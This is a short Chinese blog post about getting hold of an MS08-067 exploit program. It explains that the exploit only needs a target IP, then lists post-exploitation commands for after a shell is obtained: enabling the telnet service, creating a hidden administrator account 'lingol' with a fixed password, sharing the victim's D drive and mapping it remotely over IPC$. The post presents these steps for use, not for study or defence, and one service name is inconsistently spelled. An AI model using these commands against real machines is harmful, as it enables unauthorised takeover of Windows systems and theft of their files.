摘要: 拿到了MS08-067漏洞利用程序……用法很简单，写IP就可以了，但是如果对方有防火墙、主动防御就很难了。 不过貌似利用成功的几率不是很高……还没测试，回头测试下。 抱歉，下载链接去掉了……因为McAfee把我网站标记了恶意如果你telnet上了，是...
拿到了MS08-067漏洞利用程序……
用法很简单，写IP就可以了，但是如果对方有防火墙、主动防御就很难了。
不过貌似利用成功的几率不是很高……还没测试，回头测试下。
抱歉，下载链接去掉了……因为McAfee把我网站标记了恶意
如果你telnet上了，是可以存活直到你退出；即：一次攻击只能连接一次。
连接上之后怎么办？回到 IPC$ 时代了……
首先开telnet，这个shell真的不好用：
sc config tlnlsvr start= auto
sc start tlntsvr
加管理员
net user lingol 123456 /add
net localgroup administrators lingol /add
telnet上去（在shell里干活也行，只是不能用退格键），
然后设共享，这里以D盘为例，其他盘类似：
net share D$=d:\ /user:2
然后在本机把他的D盘映射过来，假设对方ip为172.18.1.1：
net use \\172.18.1.1\ipc$ /user:lingol 123456
net use x:\ \\172.18.1.1\d$
